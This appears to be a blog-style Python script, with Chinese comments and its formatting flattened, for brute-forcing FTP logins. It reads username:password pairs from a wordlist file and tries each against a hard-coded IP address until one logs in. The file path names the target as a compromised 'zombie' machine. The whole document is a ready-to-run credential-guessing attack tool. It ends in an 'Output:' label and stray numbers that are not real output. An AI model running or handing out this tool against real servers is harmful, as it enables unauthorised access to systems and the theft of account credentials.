import ftplib # 定义一个函数,用于尝试使用密码文件中的用户名和密码登录FTP服务器 def bruteLogin(hostname, passwdFile): # 使用with语句打开密码文件,确保文件在操作完成后自动关闭 with open(passwdFile, 'r') as pF: for line in pF.readlines(): # 遍历文件中的每一行 # 将每行按照冒号分割为用户名和密码 userName, passWord = line.split(':') # 去除密码行尾的回车和换行符 passWord = passWord.strip('\r').strip('\n') # 打印正在尝试的用户名和密码 print("[+] Trying:" + userName + "/" + passWord) try: # 创建FTP对象,并尝试使用用户名和密码登录 with ftplib.FTP(hostname) as ftp: ftp.login(user=userName, passwd=passWord) # 如果登录成功,打印成功消息,并返回用户名和密码 print('\n[*]' + str(hostname) + ' FTP Logon Succeeded: ' + userName + " / " + passWord) return (userName, passWord) except Exception as e: # 捕获并处理任何异常 # 打印失败信息和异常原因 print(f"\n[-] Failed to login with {userName}: {e}") # 如果所有密码都尝试失败,打印失败消息,并返回(None, None) print('\n[-] Could not brute force FTP credentials.') return (None, None) # 指定要尝试登录的FTP服务器的IP地址 host = '192.168.95.179' # 指定包含用户名和密码的文件路径 passwdFile = 'D:\Projects\pythonProject1\网络\肉机\用户密码.txt' # 调用bruteLogin函数,并传入FTP服务器的IP地址和密码文件路径 bruteLogin(host, passwdFile) 输出结果:
06-25
1428

04-06
01-18
1458
